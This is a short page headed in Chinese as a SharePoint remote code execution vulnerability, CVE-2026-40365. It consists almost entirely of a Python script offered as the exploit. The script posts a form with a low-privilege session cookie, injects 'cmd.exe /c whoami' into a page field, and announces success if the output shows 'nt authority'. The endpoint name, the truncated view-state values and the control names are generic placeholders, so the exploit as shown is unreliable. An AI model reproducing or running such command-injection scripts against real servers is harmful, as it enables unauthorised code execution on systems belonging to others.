CVE-2026-40365 Microsoft Office SharePoint远程代码执行漏洞

import requests # Target SharePoint instance url = "http://target-sharepoint-site/_layouts/15/VulnerablePage.aspx" # Attacker's low-privilege session cookie headers = { "Cookie": "ASP.NET_SessionId=low_priv_user_session", "User-Agent": "Mozilla/5.0" } # Payload exploiting the access control granularity issue # The payload aims to execute a system command via the vulnerable endpoint payload = { "__VIEWSTATE": "/wEPDwULL...", "__EVENTVALIDATION": "/wEdA...", "ctl00$PlaceHolderMain$btnSubmit": "Execute", "ctl00$PlaceHolderMain$txtInput": "cmd.exe /c whoami" } # Send the malicious request response = requests.post(url, data=payload, headers=headers) # Check response if response.status_code == 200 and "nt authority" in response.text: print("[+] Exploit successful! Command executed.") else: print("[-] Exploit failed.")